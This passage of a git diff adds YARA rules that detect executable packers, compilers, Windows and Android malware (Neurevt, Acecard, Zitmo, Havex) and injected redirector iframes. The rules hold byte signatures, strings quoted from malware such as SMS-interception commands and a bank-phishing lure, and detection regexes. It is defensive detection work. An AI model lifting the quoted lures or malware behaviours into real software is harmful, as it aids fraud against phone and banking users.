+		$0 = {52 53 51 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 36 ?? ?? ?? E8 ?? 01 ?? ?? 60 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _MingWin32__Dev_Cpp_v4x_h_
+{
+	meta:
+		description = "MingWin32 - Dev C++ v4.x (h)"
+	strings:
+		$0 = {55 89 E5 83 EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 55 89 E5 83 EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 55 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXHiT_v001_
+{
+	meta:
+		description = "UPX$HiT v0.0.1"
+	strings:
+		$0 = {94 BC ?? ?? ?? 00 B9 ?? 00 00 00 80 34 0C ?? E2 FA 94 FF E0 61}
+	condition:
+		$0
+}
+rule _PESHiELD_02_
+{
+	meta:
+		description = "PE-SHiELD 0.2"
+	strings:
+		$0 = {60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v107b_DLL_
+{
+	meta:
+		description = "ASPack v1.07b (DLL)"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5}
+	condition:
+		$0 at entrypoint
+}
+rule _NTKrnlPacker__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "NTKrnlPacker -> Ashkbiz Danehkar"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+	condition:
+		$0
+}
+rule _WARNING__TROJAN__HuiGeZi_
+{
+	meta:
+		description = "WARNING -> TROJAN -> HuiGeZi"
+	strings:
+		$0 = {55 8B EC 81 C4 ?? FE FF FF 53 56 57 33 C0 89 85 ?? FE FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _CauseWay_DOS_Extender_v325_
+{
+	meta:
+		description = "CauseWay DOS Extender v3.25"
+	strings:
+		$0 = {FA 16 1F 26 ?? ?? ?? 83 ?? ?? 8E D0 FB 06 16 07 BE ?? ?? 8B FE B9 ?? ?? F3 A4 07}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v20xx_
+{
+	meta:
+		description = "Crunch/PE v2.0.x.x"
+	strings:
+		$0 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 55 BB ?? ?? ?? ?? 03 DD 53 64 67 FF 36 ?? ?? 64 67 89 26}
+	condition:
+		$0 at entrypoint
+}
+rule _VIRUS__IWormHybris_
+{
+	meta:
+		description = "VIRUS - I-Worm.Hybris"
+	strings:
+		$0 = {EB 16 A8 54 ?? ?? 47 41 42 4C 4B 43 47 43 ?? ?? ?? ?? ?? ?? 52 49 53 ?? FC 68 4C 70 40 ?? FF 15}
+	condition:
+		$0
+}
+rule _VIRUS__IWormBagle_
+{
+	meta:
+		description = "VIRUS - I-Worm.Bagle"
+	strings:
+		$0 = {6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00}
+	condition:
+		$0
+}
+rule _ACProtect_v135__risco_software_Inc__Anticrack_Software_h_
+{
+	meta:
+		description = "ACProtect v1.35 -> risco software Inc. & Anticrack Software (h)"
+	strings:
+		$0 = {4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 47 65 74 50 72 6F 63}
+	condition:
+		$0
+}
+rule _IMPostor_Pack_10__Mahdi_Hezavehi_
+{
+	meta:
+		description = "IMPostor Pack 1.0 -> Mahdi Hezavehi"
+	strings:
+		$0 = {BE ?? ?? ?? 00 83 C6 01 FF E6 00 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? 02 ?? ?? 00 10 00 00 00 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v150_Device_driver_compression_
+{
+	meta:
+		description = "PKLITE v1.50 (Device driver compression)"
+	strings:
+		$0 = {B4 09 BA 14 01 CD 21 B8 00 4C CD 21 F8 9C 50 53 51 52 56 57 55 1E 06 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE2COM_regular_
+{
+	meta:
+		description = "EXE2COM (regular)"
+	strings:
+		$0 = {E9 8C CA 81 C3 ?? ?? 3B 16 ?? ?? 76 ?? BA ?? ?? B4 09 CD 21 CD 20 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Basic_v10_1987_
+{
+	meta:
+		description = "Turbo Basic v1.0 1987"
+	strings:
+		$0 = {2E 8C ?? ?? ?? 2E C7}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_CAB_SFX_module_
+{
+	meta:
+		description = "Microsoft CAB SFX module"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 ?? 10 00 01 8B F0 8A 06 3C 22 75 14 8A 46 01 46 84 C0 74 04 3C 22 75 F4 80 3E 22 75 0D ?? EB 0A 3C 20}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v273_
+{
+	meta:
+		description = "EXE Stealth v2.73"
+	strings:
+		$0 = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 EB 16 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 60 90 E8 00 00 00 00 5D 81 ED F0 27 40 00 B9 15 00 00 00 83 C1 05 EB 05 EB FE 83 C7 56 EB 00 83 E9 02}
+		$1 = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 EB 16 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 60 90 E8 00 00 00 00 5D 81 ED F0 27 40 00 B9 15 00 00 00 83 C1 05 EB 05 EB FE 83 C7 56 EB 00 83 E9 02}
+	condition:
+		$0 or $1
+}
+rule _RLPack_V10beta__ap0x_
+{
+	meta:
+		description = "RLPack V1.0.beta -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v300_v301_Extractable_
+{
+	meta:
+		description = "WWPACK v3.00, v3.01 (Extractable)"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 6A ?? 06 06 8C D3 83 ?? ?? 53 6A ?? FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190b4_
+{
+	meta:
+		description = "Armadillo v1.90b4"
+	strings:
+		$0 = {55 8B EC 6A FF 68 08 E2 40 00 68 B4 96 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 08 E2 40 00 68 B4 96 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v110_Eng__bartxt__Watcom_CCpp_EXE_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> bart/xt -> (Watcom C/C++ EXE)"
+	strings:
+		$0 = {EB 02 CD 20 03 ?? 8D ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v21_1_
+{
+	meta:
+		description = "Petite v2.1 (1)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _kkrunchy__Ryd_
+{
+	meta:
+		description = "kkrunchy -> Ryd"
+	strings:
+		$0 = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10}
+	condition:
+		$0 at entrypoint
+}
+rule _StarForce_V3X_DLL__StarForce_Copy_Protection_System_
+{
+	meta:
+		description = "StarForce V3.X DLL -> StarForce Copy Protection System"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v122_
+{
+	meta:
+		description = "PECompact v1.22"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 ?? 70 40 ?? 90 90 01 85 9E 70 40 ?? BB F3 08}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v12x_
+{
+	meta:
+		description = "ASProtect v1.2x"
+	strings:
+		$0 = {00 00 68 01 ?? ?? ?? C3 AA}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_vxx_
+{
+	meta:
+		description = "Thinstall vx.x"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A ?? FF 15 10 19 40 ?? E9 AD FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v71_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.1 DLL"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 E4 53 56 57 89 65 E8 C7 45 E4 01 00 00 00 C7 45 FC}
+		$1 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 75 09 83 3D ?? ?? 40 00 00 EB 26 83 FE 01 74 05 83 FE 02 75 22 A1}
+		$2 = {83 7C 24 08 01 75 ?? ?? ?? 24 04 50 A3 ?? ?? ?? 50 FF 15 00 10 ?? 50 33 C0 40 C2 0C 00}
+		$3 = {6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 40 89 45 E4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _tElock_v080_
+{
+	meta:
+		description = "tElock v0.80"
+	strings:
+		$0 = {60 E8 F9 11 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v200b_
+{
+	meta:
+		description = "PKLITE v2.00b"
+	strings:
+		$0 = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 02 00 72 ?? B4 09 BA ?? ?? CD 21 B8 01 4C CD 21 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 59 2D ?? ?? 8E D0 51 2D ?? ?? 8E C0 50 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_152__164_
+{
+	meta:
+		description = "XPack 1.52 - 1.64"
+	strings:
+		$0 = {8B EC FA 33 C0 8E D0 BC ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v274__WebToolMaster_
+{
+	meta:
+		description = "EXE Stealth v2.74 -> WebToolMaster"
+	strings:
+		$0 = {EB 00 EB 17 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 60 90 E8 00 00 00 00 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _vfpexeNc_v600__Wang_JianGuo_
+{
+	meta:
+		description = "vfp&exeNc v6.00 -> Wang JianGuo"
+	strings:
+		$0 = {60 E8 01 00 00 00 63 58 E8 01 00 00 00 7A 58 2D 0D 10 40 00 8D 90 C1 10 40 00 52 50 8D 80 49 10 40 00 5D 50 8D 85 65 10 40 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp_DLL_
+{
+	meta:
+		description = "WATCOM C/C++ DLL"
+	strings:
+		$0 = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v099_
+{
+	meta:
+		description = "PECompact v0.99"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 2F 85 40 ?? 87 DD 8B 85 B4 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_XPEH4768_
+{
+	meta:
+		description = "Vx: XPEH.4768"
+	strings:
+		$0 = {E8 ?? ?? 5B 81 ?? ?? ?? 50 56 57 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B8 01 00 50 B8 ?? ?? 50 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_ACME_Clonewar_Mutant_
+{
+	meta:
+		description = "Vx: ACME (Clonewar Mutant)"
+	strings:
+		$0 = {FC AD 3D FF FF 74 20 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 AD B9 40 1F E2 FE}
+	condition:
+		$0 at entrypoint
+}
+rule _PCGuard_v500d_
+{
+	meta:
+		description = "PC-Guard v5.00d"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v098b_com_
+{
+	meta:
+		description = "aPack v0.98b [com]"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? 8B CF FC 57 F3 A4 C3 BF ?? ?? 57 57 BE ?? ?? B2 ?? BD ?? ?? 50 A4}
+	condition:
+		$0
+}
+rule _SLR_OPTLINK_1_
+{
+	meta:
+		description = "SLR (OPTLINK) (1)"
+	strings:
+		$0 = {87 C0 EB ?? 71 ?? 02 D8}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v50__v60_
+{
+	meta:
+		description = "Microsoft Visual Basic v5.0 - v6.0"
+	strings:
+		$0 = {FF 25 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? FF FF FF}
+		$1 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 ?? 00 00 00 30 ?? 00}
+	condition:
+		$0 or $1
+}
+rule _eXPressor_v15x__CGSoftLabs_h_
+{
+	meta:
+		description = "eXPressor v1.5x -> CGSoftLabs (h)"
+	strings:
+		$0 = {55 8B EC 81 EC 58 02 00 00 53 56 57 83 A5 CC FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C 01 75 23}
+	condition:
+		$0 at entrypoint
+}
diff --git a/yara-mikesxrs/venom23/Neurevt.yar b/yara-mikesxrs/venom23/Neurevt.yar
new file mode 100644
index 0000000..a52ad4f
--- /dev/null
+++ b/yara-mikesxrs/venom23/Neurevt.yar
@@ -0,0 +1,28 @@
+rule Neurevt {
+        meta:
+                author = "Venom23"
+                date = "2013-06-21"
+                description = "Neurevt Malware Sig"
+                hash0 = "db9a816d58899f1ba92bc338e89f856a"
+                hash1 = "d7b427ce3175fa7704da6b19a464938e"
+                hash2 = "13027beb8aa5e891e8e641c05ccffde3"
+                hash3 = "d1004b63d6d3cb90e6012c68e19ab453"
+                hash4 = "a1286fd94984fd2de857f7b846062b5e"
+                yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+        strings:
+                $string0 = "BullGuard" wide
+                $string1 = "cmd.exe" wide
+                $string4 = "eUSERPROFILE" wide
+                $string5 = "%c:\\%s.lnk" wide
+                $string6 = "services.exe" wide
+                $string9 = "Multiples archivos corruptos han sido encontrados en la carpeta \"Mis Documentos\". Para evitar perder" wide
+                $string10 = "F-PROT Antivirus Tray application" wide
+                $string12 = "-k NetworkService" wide
+                $string13 = "firefox.exe"
+                $string14 = "uWinMgr.exe" wide
+                $string15 = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8"
+                $string16 = "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11"
+                $string18 = "Data Path" wide
+        condition:
+                10 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/vitorafonso/banker.yar b/yara-mikesxrs/vitorafonso/banker.yar
new file mode 100644
index 0000000..57ad0cd
--- /dev/null
+++ b/yara-mikesxrs/vitorafonso/banker.yar
@@ -0,0 +1,68 @@
+import "androguard"
+
+rule Banker
+{
+	meta:
+		description = "Detects a Banker"
+		author = "vitorafonso"
+		sample = "e5df30b41b0c50594c2b77c1d5d6916a9ce925f792c563f692426c2d50aa2524"
+		report = "https://blog.fortinet.com/2016/11/01/android-banking-malware-masquerades-as-flash-player-targeting-large-banks-and-popular-social-media-apps"
+
+	strings:
+		$a1 = "kill_on"
+		$a2 = "intercept_down"
+		$a3 = "send_sms"
+		$a4 = "check_manager_status"
+		$a5 = "browserappsupdate"
+		$a6 = "YnJvd3NlcmFwcHN1cGRhdGU=" // browserappsupdate
+		$a7 = "browserrestart"
+		$a8 = "YnJvd3NlcnJlc3RhcnQ=" // browserrestart
+		$a9 = "setMobileDataEnabled"
+		$a10 = "adminPhone"
+
+	condition:
+		8 of ($a*)
+
+}
+
+rule Acecard
+{
+	meta:
+		description = "Detects some acecard samples"
+		author = "vitorafonso"
+		sample = "0973da0f5cc7e4570659174612a650f3dbd93b3545f07bcc8b438af09dc257a9"
+		report = "https://securelist.com/blog/research/73777/the-evolution-of-acecard/"
+
+	strings:
+		$a = "#control_number"
+		$b = "client number"
+		$c = "INTERCEPTING_INCOMING_ENABLED"
+		$d = "#intercept_sms_start"
+		$e = "#intercept_sms_stop"
+		$f = "intercepted incoming sms"
+
+	condition:
+		all of them
+}
+
+rule Acecard2
+{
+	meta:
+		description = "Detects some acecard samples"
+		author = "vitorafonso"
+		sample = "88c744e563f7637e5630cb9b01cad663033ce2861cf01100f6c4e6fbb3e56df9"
+		report = "https://securelist.com/blog/research/73777/the-evolution-of-acecard/"
+
+	strings:
+		$a = "Internet password"
+		$b = "Security no."
+		$c = "Keep your Internet Banking and secret authorisation code (SMS) secret. Don't reveal these details to anyone, not even if they claim to be NAB."
+		$d = "TYPE_INSTALLED_APPS"
+		$e = "TYPE_INTERCEPTED_INCOMING_SMS"
+		$f = "TYPE_LISTENED_INCOMING_SMS"
+		$g = "TYPE_CONTROL_NUMBER_DATA"
+
+	condition:
+		all of them and
+		androguard.permission(/android.permission.RECEIVE_SMS/)
+}
diff --git a/yara-mikesxrs/vitorafonso/crisis.yar b/yara-mikesxrs/vitorafonso/crisis.yar
new file mode 100644
index 0000000..88557a5
--- /dev/null
+++ b/yara-mikesxrs/vitorafonso/crisis.yar
@@ -0,0 +1,19 @@
+import "androguard"
+
+rule crisis
+{
+	meta:
+		description = "Crisis pack / Hacking team"
+		author = "vitorafonso"
+		sample = "29b1d89c630d5d44dc3c7842b9da7e29e3e91a644bce593bd6b83bdc9dbd3037"
+
+	strings:
+        $a = "background_Tr6871623"
+
+	condition:
+		$a and
+		androguard.permission(/android.permission.SEND_SMS/) and
+		androguard.permission(/android.permission.PROCESS_OUTGOING_CALLS/) and
+		androguard.permission(/android.permission.RECORD_AUDIO/)
+
+}
diff --git a/yara-mikesxrs/vitorafonso/dropper.yar b/yara-mikesxrs/vitorafonso/dropper.yar
new file mode 100644
index 0000000..2ab120c
--- /dev/null
+++ b/yara-mikesxrs/vitorafonso/dropper.yar
@@ -0,0 +1,19 @@
+rule dropper
+{
+	meta:
+		description = "Detects a dropper"
+		author = "vitorafonso"
+		samples = "4144f5cf8d8b3e228ad428a6e3bf6547132171609893df46f342d6716854f329, e1afcf6670d000f86b9aea4abcec7f38b7e6294b4d683c04f0b4f7083b6b311e"
+
+	strings:
+		$a = "splitPayLoadFromDex"
+		$b = "readDexFileFromApk"
+		$c = "payload_odex"
+		$d = "payload_libs"
+		$e = "/payload.apk"
+		$f = "makeApplication"
+
+	condition:
+		all of them
+
+}
diff --git a/yara-mikesxrs/vitorafonso/exploit.yar b/yara-mikesxrs/vitorafonso/exploit.yar
new file mode 100644
index 0000000..889d13d
--- /dev/null
+++ b/yara-mikesxrs/vitorafonso/exploit.yar
@@ -0,0 +1,17 @@
+import "androguard"
+
+rule Exploit
+{
+	meta:
+		description = "Detects some exploits"
+		author = "vitorafonso"
+		sample = "168f82516742a9580fb9d0c907140428f9d3837c88e0b3865002fd221b8154a1"
+
+	strings:
+		$a = "Ohh, that's make joke!"
+		$b = "CoolXMainActivity"
+
+	condition:
+		all of them
+
+}
diff --git a/yara-mikesxrs/vitorafonso/shedun.yar b/yara-mikesxrs/vitorafonso/shedun.yar
new file mode 100644
index 0000000..4af4497
--- /dev/null
+++ b/yara-mikesxrs/vitorafonso/shedun.yar
@@ -0,0 +1,16 @@
+rule shedun
+{
+	meta:
+		description = "Detects libcrypt_sign used by shedun"
+		author = "vitorafonso"
+		sample = "919f1096bb591c84b4aaf964f0374765c3fccda355c2686751219926f2d50fab"
+
+	strings:
+		$a = "madana!!!!!!!!!"
+		$b = "ooooop!!!!!!!!!!!"
+		$c = "hehe you never know what happened!!!!"
+
+	condition:
+		all of them
+
+}
diff --git a/yara-mikesxrs/vitorafonso/zitmo.yar b/yara-mikesxrs/vitorafonso/zitmo.yar
new file mode 100644
index 0000000..7628388
--- /dev/null
+++ b/yara-mikesxrs/vitorafonso/zitmo.yar
@@ -0,0 +1,23 @@
+import "androguard"
+
+rule zitmo
+{
+	meta:
+		description = "Detects Zitmo"
+		author = "vitorafonso"
+		samples = "d48ce7e9886b293fd5272851407df19f800769ebe4305358e23268ce9e0b8703, e86cdfb035aea4a5cb55efa59a5e68febf2f714525e301b46d99d5e79e02d773"
+
+	strings:
+		$a = "REQUEST_SET_ADMIN"
+		$b = "RESPONSE_SET_ADMIN"
+		$c = "REQUEST_ON"
+		$d = "MESSAGE_START_UP"
+		$e = "KEY_ADMIN_NUMBER"
+		$f = "DEFAULT_ADMIN_NUMBER"
+
+	condition:
+		all of them and
+		androguard.permission(/android.permission.SEND_SMS/) and
+		androguard.permission(/android.permission.RECEIVE_SMS/)
+
+}
diff --git a/yara-mikesxrs/vred/W32HavexNetscan.yar b/yara-mikesxrs/vred/W32HavexNetscan.yar
new file mode 100644
index 0000000..186863e
--- /dev/null
+++ b/yara-mikesxrs/vred/W32HavexNetscan.yar
@@ -0,0 +1,23 @@
+/*
+	yara-rule-havex-netscan.yar
+		This searches for "~tracedscn.yls" or 
+		port activity indicative of the 
+		W32.Havex.Netscan malware module.
+		NOTE: 5 ports are scanned by W32.Havex.Netscan; only 44818 was 
+		chosen due to its high port number and hex rule limiting the 
+		chance for a false positive! 
+	Val A. Red, 20151206
+*/
+
+rule W32HavexNetscan
+{
+	meta:
+		description = "Havex.Netscan search based on temp file & ports"
+		in_the_wild = true
+		reference = "https://github.com/vred/yara-rule-havex-netscan/blob/master/havex-netscan.yar"
+	strings:
+		$file = "~tracedscn.yls" wide nocase 
+		//$p1 = { 0A F1 2? } 	// Rslinx 44818 only selected 
+	condition:
+		($file)// and ($p1)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/xanda/MS12_052.yar b/yara-mikesxrs/xanda/MS12_052.yar
new file mode 100644
index 0000000..6d5b88d
--- /dev/null
+++ b/yara-mikesxrs/xanda/MS12_052.yar
@@ -0,0 +1,19 @@
+rule MS12_052
+{
+        meta:
+                author = "Adnan Mohd Shukor" 
+                author_email = "adnan.shukor @ G!"
+                ref = "MS12-052"
+                ref_url = "http://seclists.org/bugtraq/2012/Sep/29"
+                cve = "CVE-"
+                version = "1"
+                impact = 4
+                hide = false
+        strings:
+                $ms12052_1 = /mailto\:.{2000,}/ nocase fullword
+                $ms12052_2 = /\.getElements?By/ nocase
+                $ms12052_3 = /\.removeChild\(/ nocase
+                //$ms12052_4 = /document\..*?= ?null/ nocase *greedy and ungreedy quantifiers can't be mixed in a regular expression*
+        condition:
+                $ms12052_1 and $ms12052_2 and ($ms12052_3 /*or $ms12052_4*/)
+}
diff --git a/yara-mikesxrs/xanda/counterPHPredirectBHEK.yar b/yara-mikesxrs/xanda/counterPHPredirectBHEK.yar
new file mode 100644
index 0000000..de88207
--- /dev/null
+++ b/yara-mikesxrs/xanda/counterPHPredirectBHEK.yar
@@ -0,0 +1,16 @@
+rule counterPHPredirectBHEK
+{
+	meta:
+		author = "adnan.shukor@gmail.com"
+		description = "Detection rule to detect compromised page injected with invisible counter.php redirector"
+		ref = "http://blog.xanda.org/2013/04/05/detecting-counter-php-the-blackhole-redirector"
+		cve = "NA"
+		version = "1"
+		impact = 4
+		hide = false
+	strings:
+		$counterPHP = /\<iframe\ src\=\"https?\:\/\/[a-zA-Z0-9\-\.]{4,260}\/counter\.php\"\ style\=\"visibility\:\ hidden\;\ position\:\ absolute\;\ left\:\ 0px\;\ top\:\ 0px\"\ width\=\"10\"\ height\=\"10\"\/\>$/
+	condition:
+		all of them
+}
+
diff --git a/yara-mikesxrs/xanda/iframeRedKit.yar b/yara-mikesxrs/xanda/iframeRedKit.yar
new file mode 100644
index 0000000..531248d
--- /dev/null
+++ b/yara-mikesxrs/xanda/iframeRedKit.yar
@@ -0,0 +1,23 @@
+rule iframeRedKit
+{
+	meta:
+		author = "adnan.shukor@gmail.com"
+		description = "Detection rule to detect compromised page injected with invisible iframe of Redkit redirector"
+		ref = "http://blog.xanda.org/2013/02/15/redkit-redirector-injected-into-legitimate-javascript-code/"
+		cve = "NA"
+		version = "1.2"
+		impact = 4
+		hide = false
+	strings:
+		$iRedKit_1 = /name\=['"]?Twitter['"]?/
+		$iRedKit_2 = /scrolling\=['"]?auto['"]?/
+		$iRedKit_3 = /frameborder\=['"]?no['"]?/
+		$iRedKit_4 = /align\=['"]?center['"]?/
+		$iRedKit_5 = /height\=['"]?2['"]?/
+		$iRedKit_6 = /width\=['"]?2['"]?/
+		$iRedKit_7 = /src\=['"]?http:\/\/[\w\.\-]{4,}\/(([a-z]{4}\.html?(\?[hij]=\d{7})?)|([a-z]{4,}\.php\?[a-z]{4,}\=[a-f0-9]{16}))['"]?/
+	condition:
+		all of them
+}
+
+
diff --git a/yara-mikesxrs/xanda/jjEncode.yar b/yara-mikesxrs/xanda/jjEncode.yar
new file mode 100644
index 0000000..219e8a4
--- /dev/null
+++ b/yara-mikesxrs/xanda/jjEncode.yar
@@ -0,0 +1,16 @@
+rule jjEncode
+{
+   meta:
+      description = "jjencode detection"
+      ref = "http://blog.xanda.org/2015/06/10/yara-rule-for-jjencode/"
+      author = "adnan.shukor@gmail.com"
+      date = "10-June-2015"
+      version = "1"
+      impact = 3
+      hide = false
+   strings:
+      $jjencode = /(\$|[\S]+)=~\[\]\;(\$|[\S]+)\=\{[\_]{3}\:[\+]{2}(\$|[\S]+)\,[\$]{4}\:\(\!\[\]\+["]{2}\)[\S]+/ fullword 
+   condition:
+      $jjencode
+}
+
diff --git a/yara-mikesxrs/xme/Worm_VBS_Uaper_B.yar b/yara-mikesxrs/xme/Worm_VBS_Uaper_B.yar
new file mode 100644
index 0000000..a048cdd
--- /dev/null
+++ b/yara-mikesxrs/xme/Worm_VBS_Uaper_B.yar
@@ -0,0 +1,17 @@
+rule Worm_VBS_Uaper_B
+{
+meta:
+    description = "Example rule from blog"
+    author = "Xavier Mertens"
+    reference = "https://blog.rootshell.be/2012/06/20/cuckoomx-automating-email-attachments-scanning-with-cuckoo/"
+strings:
